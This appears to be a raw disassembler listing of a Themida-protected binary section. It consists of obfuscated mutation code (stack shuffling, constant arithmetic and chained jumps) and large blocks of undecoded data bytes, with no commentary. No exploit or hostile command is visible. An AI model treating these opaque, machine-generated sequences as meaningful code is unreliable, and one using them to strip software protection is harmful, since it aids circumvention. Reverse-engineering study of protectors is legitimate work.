		add	esp, 4
		and	eax, edx
		jmp	loc_4FA2D4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0BB000000h, 75737924h, 15A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F62D9:				; CODE XREF: Themida_:004FD5A1j
		or	esi, ebx
		pop	ebx
		jmp	loc_4F45D6
; ---------------------------------------------------------------------------
		dd offset dword_4BC05C+70Ch
		align 2
aTswz		db 'Tw',0
		align 4

loc_4F62EC:				; CODE XREF: Themida_:004F8C83j
		and	ebx, 4EF97B65h
		shr	ebx, 2
		add	ebx, 0FD69F56Ch
		add	ebp, 4B1F30D0h
		add	ebp, ebx
		jmp	loc_4FA187
; ---------------------------------------------------------------------------
		dd 0F190E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F630E:				; CODE XREF: Themida_:004F37EAj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_4F5975
; ---------------------------------------------------------------------------

loc_4F631A:				; CODE XREF: Themida_:004F7684j
		neg	edi
		or	edi, 7B5936C9h
		shr	edi, 4
		push	edi
		push	ebx
		jmp	loc_4FA35E
; ---------------------------------------------------------------------------
		dd 66D3F766h, 0F73BE943h, 0E95BFFFFh, 0FFFFEC54h, 4C6815Eh
		dd 83000000h, 0C8904ECh, 4B924h, 0BD550000h, 7CE001E7h
		dd 3A66F581h, 0DDF73072h, 0E907E5C1h, 3BD0h, 0E912B850h
		dd 0C329C666h, 5297E9h,	4C48300h, 8B24048Fh, 8B662424h
		dd 0DD682404h, 89000011h, 0E954240Ch, 6503h, 0DFA68h, 242C8900h
		dd 242C8B54h, 6804C483h, 52D4h,	0BE243489h, 735D6484h
		dd 70D9EE81h, 0F681491Ch, 2A40F3AFh, 565EF501h,	2BEh, 6716E900h
		dd 0C870000h, 0F9F65C24h, 0FFCEB3E9h, 81E589FFh, 4C5h
		dd 4ED8100h, 87000000h,	895C242Ch, 26E9241Ch, 66000000h
		dd 0E9DEF65Bh, 8CD5h, 242C8157h, 1B8C3C76h, 7BBCE95Bh
		dd 53660000h, 7B35E9h, 2C77FF00h, 0FFCAE7E9h, 0C84BBFFh
		dd 0F3812920h, 72366D04h, 0E35FE94Bh, 0E5C1FFFFh, 4C58108h
		dd 1F7BF5Bh, 2434FFEBh,	4C4815Dh, 81000000h, 2C3h, 241C8700h
		dd 0C8B665Ch, 5B545324h, 0FFEE77E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F6449:				; CODE XREF: Themida_:004F57FCj
		xor	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_4FB692
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704C783h, 0FF5C243Ch, 48B2434h, 4C48324h, 1C8B5453h
		dd 0E7895724h, 4C781h, 0A4E90000h, 5900002Eh, 4C481h, 0FFE90000h
		dd 8100002Ch, 0B9042444h, 0FF53E227h, 74E92434h, 89000020h
		dd 63BA2414h, 56194E2Fh, 1C1D4ABEh, 81AFE979h, 525C0000h
		dd 42474FFh, 5724148Bh,	7951E9h, 4C48300h, 99E9E821h, 100008Ah
		dd 2434FFF0h, 0E789575Eh, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 0E9240487h, 2E2Bh, 0E9240C8Bh, 143Ah
; ---------------------------------------------------------------------------

loc_4F64EC:				; CODE XREF: Themida_:004F69DEj
		pop	ebp
		sub	esi, 37B431E0h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_4F47B4
; ---------------------------------------------------------------------------
aSTPsE		db 'S',1Bh,'P܅',0
		align 4
		dd 0FFC18159h, 49FFFFFFh, 2379E981h, 81515EC4h,	25B42434h
		dd 0E95A15F9h, 0E99h, 0BDE4C281h, 0EDE9B3FFh, 5200004Ch
		dd 42474FFh, 24048F5Ah,	0E924248Bh, 599Dh, 0E92434FFh
		dd 0FFFFFF2Fh, 0DA89C389h, 83241C8Bh, 815804C4h, 320D11EAh
		dd 81FA0121h, 320D11C2h, 8B1A8821h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4F5FC7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 2C940504h, 0F02978ADh, 4820E953h, 0CA890000h
		dd 6728E9h, 4BA5200h, 89000000h, 6C815AD1h, 27B90424h
		dd 0EDE953E2h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F65AB:				; CODE XREF: Themida_:004F7C84j
		xchg	ebx, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_4FD86D
; ---------------------------------------------------------------------------
		db 5Ah,	0, 0D9h
aAsSa_		db '[)_',0
		dd 18EF8100h, 812C086Eh, 7A01DAEFh, 184EE93Dh, 36B90000h
		dd 31118571h, 2434FFF9h, 4C4815Fh, 31000000h, 0F02159CEh
		dd 0FC0095Eh, 0FFD55884h, 0BD5556FFh, 7E210FD8h, 6DE2E953h
		dd 8B660000h, 0E957240Ch, 55FDh, 6607E1C0h, 0F6C88850h
		dd 66C188D0h, 5E1C058h,	0E9F7E980h, 82D7h
; ---------------------------------------------------------------------------

loc_4F6624:				; CODE XREF: Themida_:004F5CFAj
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_4F9587
; ---------------------------------------------------------------------------
		db 0FFh
		dd 39E92434h, 87FFFFD7h, 248B243Ch, 24042024h, 0C8A6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F664E:				; CODE XREF: Themida_:004F3D34j
		not	ebp
		add	ebp, 48300086h
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		push	6E85h
		mov	[esp], ebx
		push	2620h
		mov	[esp], eax
		push	6742h
		mov	[esp], ecx
		mov	ch, dl
		mov	al, ch
		mov	ecx, [esp]
		push	edx
		jmp	loc_4F66C2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F706EAC1h, 0A56E9DAh, 295A0000h, 0EC815EF2h, 4, 3A30E9h
		dd 4EC8300h, 89241C89h,	4D0BE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F66C2:				; CODE XREF: Themida_:004F6694j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_4F83AA
; ---------------------------------------------------------------------------
		db 0B7h, 0CBh, 0E9h
		dd 1386h, 8304C483h, 2C8904ECh,	7463E924h, 5E90000h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F66EF:				; CODE XREF: Themida_:004F552Aj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_4F6EC9
; ---------------------------------------------------------------------------
		dd 0FFCD895Dh, 81592434h, 4C4h,	1D2AE900h, 89660000h, 0D5E92404h
		dd 81FFFFC7h, 251A63C2h, 81FA295Ch, 251A63EAh, 14875F5Ch
		dd 2C895C24h, 1C27BD24h, 0CD815184h, 22A95E2Bh,	8103EDC1h
		dd 701634C5h, 0BA52563Ah, 13D61490h, 7A14E9h, 83DD8900h
		dd 0C8904ECh, 81E18924h, 4C1h, 4E98100h, 0E9000000h, 0FFFFD6C4h
		dd 24048F5Eh, 240C895Ch, 2AB5E9h, 0D831AD00h, 474068h
		dd 24148900h, 27EC70BAh, 362C0578h, 0D0295741h,	1B34B951h
		dd 0B2E94CB2h, 68000028h, 0BA4h, 0E9241C89h, 1657h, 582434FFh
		dd 504C483h, 4,	54A868h, 24348900h, 4EEBE9h, 64E95700h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F67CB:				; CODE XREF: Themida_:004FC638j
		xor	[esp], edi
		jmp	loc_4F9069
; ---------------------------------------------------------------------------
		db 81h
		dd 3903A9CAh, 0BD554A6Ah, 3E5A4656h, 0C105EDC1h, 0C58108E5h
		dd 7766F1A4h, 0FFEB7DE9h, 2434FFFFh, 8324148Bh,	895604C4h
		dd 4C681E6h, 83000000h,	348704C6h, 0E9525C24h, 8A85h
; ---------------------------------------------------------------------------

loc_4F6810:				; CODE XREF: Themida_:004FCB3Cj
		pop	eax
		sub	ebx, 89424E91h
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_4F4077
; ---------------------------------------------------------------------------
		db 0BFh, 7Fh, 36h
		dd 0F93167D7h, 59CF015Fh, 31243C33h, 3C33243Ch,	0F665C24h
		dd 9C2404B3h, 0FFC6B3E9h, 0F6E680FFh, 6603EEC0h, 8541E952h
		dd 815C0000h, 4C5h, 4ED8300h, 1EEAE9h, 2434FF00h, 4C4815Ah
		dd 0E9000000h, 26D9h, 24048B66h, 7C7AE9h, 50DAF700h, 8904EC83h
		dd 0FB9240Ch, 0C14F4930h, 0E98106E9h, 5A4F973Bh, 24048151h
		dd 753332DEh, 85A1E9h, 1C77FF00h, 6659669Dh, 9C2414D3h
		dd 0FFCF46E9h, 0B15CB6FFh, 5AF1004Ah, 0F65AD100h, 7E69E9D9h
		dd 81580000h, 4C4h, 18A46800h, 3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F692D
; ---------------------------------------------------------------------------
		dw 0E935h
		dd 1F4EDBBh, 0CA8958C1h, 5E03E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F68EE:				; CODE XREF: Themida_:004F7327j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4F68F9:				; CODE XREF: Themida_:004FD5C1j
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4F911D
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0E904EE83h, 2EF2h, 0E924348Bh, 0FFFFF743h, 0E95AD101h
		dd 7CE5h, 5C240487h, 7393E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F692D:				; CODE XREF: Themida_:004F68D9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_4FAB1A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 0D3E904ECh, 6600001Fh, 8324148Bh,	0F18602C4h
		dd 42E9D6F6h, 81000031h, 0BA44A5E9h, 0C80FE939h, 0C483FFFFh
		dd 74FF5504h, 2CE90424h, 89000064h, 5EB9240Ch, 0F7003576h
		dd 0F7E9D1D9h, 7D1BE9D9h, 2C8B0000h, 0E7895724h, 4BA52h
		dd 5FE90000h, 8BFFFFDCh, 0D1E9240Ch, 5C000062h,	24148966h
		dd 0E99C5066h, 0FFFFC524h
; ---------------------------------------------------------------------------

loc_4F69D0:				; CODE XREF: Themida_:004F88F4j
		sub	ebp, 5E1E26E4h
		add	ebp, 23A9A2DEh
		add	esi, ebp
		jmp	loc_4F64EC
; ---------------------------------------------------------------------------
		align 4
		dd 0E9CE04F0h, 690Ch
; ---------------------------------------------------------------------------

loc_4F69EC:				; CODE XREF: Themida_:004FA259j
		mov	[esp], esi
		push	ecx
		jmp	loc_4F3984
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 83242C8Bh, 0C58104C4h, 4,	406468h, 24048900h, 0FFDE84E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F6A15:				; CODE XREF: Themida_:004F8D38j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_4F5220
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 22F18100h, 5125277Ch, 2240481h, 5855F82Ah
		dd 2A02B951h, 0C82955F8h, 2434FF59h, 0ABCE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6A4E:				; CODE XREF: Themida_:004F32A3j
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_4F6D96
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0E774E1BFh, 0E148E914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F6A66:				; CODE XREF: Themida_:004F3B76j
		add	esp, 4
		add	esp, 4
		jmp	loc_4F41F1
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
aZAWq		db '<$\wQ*',0
aIy		db 'Y',0
aS_5		db ':',0
		align 4
		dd 0FF2434FFh, 5E92434h, 8900005Fh, 0E189240Ch,	7B3EE950h
		dd 8F5A0000h, 248B2404h, 0BB0F6624h, 0E99C2404h, 0FFFFC444h
		dd 75B9515Bh, 0D17CA36Ch, 1AC181E1h, 106B927h, 0C38359CBh
		dd 0F1CBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F6ACA:				; CODE XREF: Themida_:004FA88Bj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_4F4C1B
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D2h, 0FFC403E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F6AF1:				; CODE XREF: Themida_:004FE53Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_4FEBA3
; ---------------------------------------------------------------------------

loc_4F6B00:				; CODE XREF: Themida_:004F5753j
		add	esp, 4
		jmp	loc_4F5AB9
; ---------------------------------------------------------------------------

loc_4F6B08:				; CODE XREF: Themida_:004F7064j
		sub	esp, 4
		mov	[esp], esi
		push	2E47D50Eh
		pop	esi
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_4F3081
; ---------------------------------------------------------------------------

loc_4F6B25:				; CODE XREF: Themida_:004FB3B0j
		mov	ebp, [esp]
		jmp	loc_4FD1C0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH3a		db '$h3a',0
		align 2
		dw 1489h
aHzb		db '$hzb',0
		align 2
		dw 1AE9h
		dd 0FF000008h, 48B2434h, 4C48324h, 570E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F6B51:				; CODE XREF: Themida_:004FEB9Ej
		inc	ebp
		neg	ebp
		sub	ebp, 0CA6CFFF2h
		sub	esi, ebp
		pop	ebp
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_4F3B9F
; ---------------------------------------------------------------------------

loc_4F6B68:				; CODE XREF: Themida_:004F807Bj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_4FCF73
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	148704C2h, 0D8E95C24h, 1000066h
		dd 5D04246Ch, 81242C8Bh, 4C4h, 4BB5300h, 1000000h, 0C5835BDDh
		dd 74FF5502h, 8F5D0424h, 248B2404h, 242CD224h, 0C33AE99Ch
		dd 0EE01FFFFh, 4EC815Dh, 0E9000000h, 0FFFFC368h, 0D1A77EBEh
		dd 58C62978h, 5768E9h, 11B95100h, 0E95ED966h, 0FFFFD249h
		dd 89242C89h, 4C581E5h,	81000000h, 4C5h, 242C8700h, 606D685Ch
		dd 34890000h, 2474FF24h, 8467E904h, 70BE0000h, 0E9350132h
		dd 0FFFFF2A4h, 0C108E7C1h, 0EF8107EFh, 7685527Fh, 165AE9h
		dd 4C48300h, 2C32C580h,	7B36E95Fh, 0C4830000h, 0D1C20904h
		dd 0F3368E2h, 41E90000h, 0B1FFFFC3h, 59CE28B6h,	800EE680h
		dd 0B75325E6h, 80DFF673h, 0F780C9C7h, 8BFE28B7h, 0C483241Ch
		dd 5AF58804h, 34FFE830h, 2434FF24h, 0E7895759h,	4C781h
		dd 0C9E90000h, 66000067h, 5724048Bh, 4EC81h, 0C9680000h
		dd 89000064h, 0B9512424h, 4, 4244C01h, 24048F59h, 6291E9h
		dd 241C8900h, 0E955C389h, 0FFFFFAADh, 21BEBE56h, 0C1460F27h
		dd 0CDE903EEh, 83000071h, 19E904C0h, 0FF000042h, 0C2E92434h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6CC7:				; CODE XREF: Themida_:004F4EC6j
		mov	ecx, [esp]
		add	esp, 4
		push	64EAh
		jmp	loc_4FEEC5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B1E91C77h, 8BFFFFD1h, 0D7E92434h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F6CE7:				; CODE XREF: Themida_:004F6166j
		mov	ebp, 0CFD295B3h
		xor	edi, ebp
		jmp	loc_4F925D
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9D088FAh, 0D9Bh, 67F9E981h, 0D92973F0h, 67F9C181h
		dd 5E973F0h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6D0F:				; CODE XREF: Themida_:004F7F67j
		mov	ebx, 1813AFCh
		inc	ebx
		shl	ebx, 4
		push	edi
		mov	edi, 1813AFCCh
		sub	ebx, edi
		pop	edi
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 1
		push	ecx
		push	edx
		mov	edx, 24h
		jmp	loc_4FA550
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 0DBC3E900h, 0C380FFFFh, 80CB2881h, 0C8B81EBh
		dd 0E3895324h, 4C381h, 0BD550000h, 71237FACh, 8058C581h
		dd 0EB018EDCh, 0FFC8ADE9h, 240489FFh, 0FFCCCAE9h, 5A6658FFh
		dd 803DE180h, 0D18611F1h, 0D186D2F6h, 8067E180h, 0E9805CF1h
		dd 0F876E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F6D96:				; CODE XREF: Themida_:004F6A54j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 66h
		dd 0EFB45052h, 0E228B2B2h, 0D4885058h, 0BEE9E188h, 81FFFFFFh
		dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 4FF5C24h, 1DE99C24h
		dd 0FFFFFFC1h, 0E9042474h, 67C6h, 65A868h, 24248900h, 4240483h
		dd 5B83E9h, 240C8700h, 0E9E9F65Ch, 0D13h, 0E9243C89h, 0FFFFD1B6h
		dd 1FEDE981h, 0E95E58F7h, 0FFFFF5B2h, 0D04FE95Ah, 57BFFFFFh
		dd 0F75A5422h, 4FD7F7D7h, 0ABC78147h, 1A5ABDDh,	14335FFAh
		dd 24143124h, 5C241433h, 7261E9h, 4EC8100h, 0E9000000h
		dd 46EDh, 0C681E689h, 4, 4C681h, 34870000h, 0F7E95C24h
		dd 0C0FFFFF5h, 0D4F603ECh, 88F1EC80h, 24048BE2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_4FA12C
; ---------------------------------------------------------------------------

loc_4F6E7F:				; CODE XREF: Themida_:004F930Aj
		push	ecx
		mov	ch, 7Fh
		push	edx
		jmp	loc_4F4463
; ---------------------------------------------------------------------------
		dd 468h, 53505A00h, 2FA0E9h, 7BEE8100h,	0C101443Ah, 0EE8102EEh
		dd 0F3975201h, 0E95EF389h, 0FFFFD11Ch, 4EC81h, 2C890000h
		dd 39BAE924h, 24890000h, 24048124h, 4, 4A24E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F6EC9:				; CODE XREF: Themida_:004F66FFj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
aUqsD		db 'UQD',0
		align 4

loc_4F6EDC:				; CODE XREF: Themida_:004F327Bj
		add	ebx, esi
		jmp	loc_4F32A0
; ---------------------------------------------------------------------------
		db 0BAh
		dd 5555586Dh, 1B44C281h, 45E9552Eh, 0BA00000Ch,	2DA11EF0h
		dd 255AD021h, 2AE76883h, 68F6BA52h, 0D00106D9h,	566CE9h
		dd 4C68100h, 56000000h,	42474FFh, 24048F5Eh, 55E9F75Ch
		dd 0FFC3F9E9h, 0E08950FFh, 405h, 40500h, 4870000h, 35E95C24h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6F3B:				; CODE XREF: Themida_:004FE095j
		push	edx
		mov	edx, 2071369h
		jmp	loc_4FF41D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835924h, 8E8C104h, 5750C831h, 8124048Bh, 4C4h, 2434FF00h
		dd 4C4815Fh, 0E9000000h, 8088h,	7F16EA81h, 348B621Fh, 3696E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6F7A:				; CODE XREF: Themida_:004F45CAj
		add	ebp, 7E4C1A38h
		neg	ebp
		push	ebx
		mov	ebx, 526E7635h
		dec	ebx
		not	ebx
		push	ecx
		mov	ecx, 0D307E00h
		push	edx
		mov	edx, 0
		jmp	loc_4F4E9C
; ---------------------------------------------------------------------------
		dd 4C481h, 0DA890000h, 83241C8Bh, 0C56804C4h, 89000032h
		dd 478F2414h, 24148B24h, 3104C483h, 6AE953D2h, 0FEFFFFEEh
		dd 0EBB050CAh, 0C05EB252h, 0F28008E2h, 5AD0307Eh, 70CA6853h
		dd 0C890000h, 76CEE924h, 5B90000h, 68248E36h, 613Eh, 0E9241489h
		dd 0FFFFCA6Dh, 5A54525Bh, 4C281h, 0C2830000h, 0F52DE904h
		dd 0C381FFFFh, 4, 4C381h, 1C870000h, 1C4EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F701A:				; CODE XREF: Themida_:004FD900j
		xchg	ebp, [esp]
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_4F7826
; ---------------------------------------------------------------------------
		dd 5C243487h, 405h, 4C08300h, 142868h, 24048900h, 42474FFh
		dd 24048F58h, 0C8BF0F5Ch, 35CE68h, 7227E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F705E:				; CODE XREF: Themida_:004FCC42j
		push	edx
		mov	edx, 1D5D73F0h
		jmp	loc_4F6B08
; ---------------------------------------------------------------------------
		db 5Bh,	0, 0C8h
		dd 0C98E9h, 2434FF00h, 0E1895158h, 0E6DBD55h, 0BA521997h
		dd 3CFA2973h, 815AD521h, 920865F5h, 0DCEEE918h,	0D905FFFFh
		dd 0E9272F59h, 0FFFFECD6h, 7C4AE959h, 73BF0000h, 31108140h
		dd 0C043E9FDh, 1CB7FFFFh, 80DBCF80h, 0F780EDCFh, 4AF78039h
		dd 4A17E9h, 9EC6800h, 4890000h,	68585424h, 3BAFh, 0BD242C89h
		dd 4, 427FE9h, 2AB85000h, 0BF4B0B7Dh, 0C271F12h, 8158C731h
		dd 0FFFFFFEFh, 50F781FFh, 0E929403Dh, 5AD6h, 80F2814Ah
		dd 52FEF78Dh, 65243481h, 5F141D53h, 5365F781h, 0E95A141Dh
		dd 0FFFFF4BEh, 4B8h, 0CE21E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7122:				; CODE XREF: Themida_:004F388Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_4FD67F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 68C33000h, 560Fh, 57243489h, 51DBE952h, 0DF870000h
		dd 7A8F781h, 0E7C1731Dh, 4C78106h, 10BBF50h, 243C8BFAh
		dd 446E9h, 4EE8100h, 0E9000000h, 9E7h, 240C8B66h, 68D2E9h
		dd 0C4815900h, 4, 4BA52h, 99E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7183:				; CODE XREF: Themida_:004F5F5Bj
		sub	ecx, 68D2456Bh
		mov	eax, [ecx]
		mov	ecx, [esp]
		add	esp, 4
		push	382Ch
		jmp	loc_4F8488
; ---------------------------------------------------------------------------

loc_4F719E:				; CODE XREF: Themida_:004F31FFj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_4FCB4D
; ---------------------------------------------------------------------------
		dw 5FBFh
		dd 0C1142040h, 0EF8102E7h, 20A977E6h, 85CDEF81h, 0ED811B09h
		dd 1544141Eh, 0C581FD01h, 1544141Eh, 96C5815Fh,	50556354h
		dd 4656EBB8h, 0C26B052Ch, 0C5290763h, 2DC58158h, 21EB4357h
		dd 0C1465DEEh, 0AAE904E6h, 0B8000042h, 0EF180004h, 158C601h
		dd 94E95EF1h, 1FFFFCBh,	0E7C15BDFh, 2EFC103h, 7141E9h
		dd 0C5815D00h, 4, 3304C583h, 1E9242Ch
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4F722B:				; CODE XREF: Themida_:004FE343j
		mov	[esp], edi
		push	ebp
		push	ebx
		mov	ebx, 33ED3F42h
		mov	ebp, 59E36E06h
		or	ebp, 8CD648Eh
		and	ebp, 7F94250h
		xor	ebp, 2C8A1720h
		xor	ebp, ebx
		pop	ebx
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_4F8F5C
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4E88300h, 0FFC950E9h, 0DD2566FFh, 0E0C16638h
		dd 0CD256607h, 362D6639h, 0C62166C5h, 0EE816658h, 89663FA6h
		dd 2D665EF3h, 56602A0h,	29660777h, 665666D8h, 660777BEh
		dd 661AE42Dh, 566F029h,	5E661AE4h, 2A00566h, 5D665B66h
		dd 19D06866h, 0BADE9h, 53D70100h, 3D2789BBh, 68D4E90Bh
		dd 8B660000h, 0EC81240Ch, 4, 0E9241489h, 342Ch
; ---------------------------------------------------------------------------

loc_4F72D4:				; CODE XREF: Themida_:004F5695j
		shr	ebp, 4
		add	ebp, 1
		or	ebp, 51B05DFDh
		xor	ebp, 38774CD6h
		add	ebp, 7775398Bh
		add	ebp, 9180542Dh
		mov	edi, ebp
		pop	ebp
		xor	edi, 620128B6h
		neg	edi
		inc	edi
		shr	edi, 5
		jmp	loc_4FA2AE
; ---------------------------------------------------------------------------
		db 0BEh, 0F1h, 47h
		dd 0F7E90DA2h, 8900001Eh, 0E6892434h, 4C681h, 25E90000h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F7323:				; CODE XREF: Themida_:004FA687j
		mov	[edi+eax*4+1], bh
		jmp	loc_4F68EE
; ---------------------------------------------------------------------------
		dd 33242C31h, 815C242Ch, 4C3h, 30EDE900h, 0DF680000h, 8900000Dh
		dd 0B7532414h, 0E9D7F607h, 0FFFFBC6Fh, 0BD242C89h, 7E533DD2h
		dd 0FFD354E9h, 48F54FFh, 24048324h, 0C2815A04h,	4, 0FDE95056h
		dd 89FFFFE7h, 1CF7E9D8h, 0C4830000h, 0BB72E904h, 0E981FFFFh
		dd 0FE843FAAh, 93E9CD89h, 0C100002Bh, 0C28103EAh, 0EB36EDA2h
		dd 215AD789h, 243C8BF8h, 0FFC5C3E9h, 4C483FFh, 0E5C15E5Eh
		dd 1ED8306h, 5605E5C1h,	0A39FBA52h, 0D689647Eh,	0FFBE15E9h
		dd 0B4F281FFh, 8B15F925h, 0C481240Ch, 4, 0EDE9D729h, 5AFFFFCDh
		dd 83240C8Bh, 0BD5504C4h, 79CC7E6Ch, 8106EDC1h,	9D59AAE5h
		dd 53ED812Eh, 81312176h, 639B51F5h, 791E9CFh, 0F1E90000h
		dd 66FFFFBAh, 5724048Bh, 388E68h, 0E153E900h, 4048FFFFh
		dd 0B86E670Dh, 45512D38h, 0C7296365h, 242C8B58h, 8704C483h
		dd 248B243Ch, 2404FE24h, 0BABEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7436:				; CODE XREF: Themida_:004FC033j
		add	dl, 76h
		jmp	loc_4F3D03
; ---------------------------------------------------------------------------
		dw 0ACBDh
		dd 50071D0Dh, 0FFDC4FE9h, 241433FFh, 1489665Ch,	4B3B624h
		dd 0DB53E9D1h, 0C481FFFFh, 4, 3F3768h, 242C8900h, 35C768h
		dd 24248900h, 0FFF580E9h, 148759FFh, 0C895C24h,	99E95424h
		dd 1000015h, 0FF565BDEh, 8B042474h, 0C4832434h,	24048F04h
		dd 0E924248Bh, 1F1Fh, 89431E05h, 4AADE960h, 4B80000h, 29000000h
		dd 348758C6h, 5287E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F74B6:				; CODE XREF: Themida_:004F5C25j
		sub	ebp, 10152723h
		add	ebp, edx
		add	ebp, 10152723h
		sub	ebp, 380A164Eh
		pop	edx
		jmp	loc_4FDD66
; ---------------------------------------------------------------------------
		dd 207F83ADh, 84840F00h, 81000011h, 713177EEh, 0D2EE8168h
		dd 8161E85Dh, 89590DEEh, 68C60100h, 770Ch, 0BF243C89h
		dd 89590Dh, 525FFE01h, 0FA2FA9BAh, 0F36BE938h, 0C483FFFFh
		dd 57565F04h, 800BE56h,	0F7890000h, 5FFE895Eh, 34FFF021h
		dd 89535E24h, 4C381E3h,	51000000h, 4859BD55h, 0E9894DB1h
		dd 83C1815Dh, 0E91FCE0Ch, 5ECFh, 0E904EC83h, 0FFFFCC08h
; ---------------------------------------------------------------------------

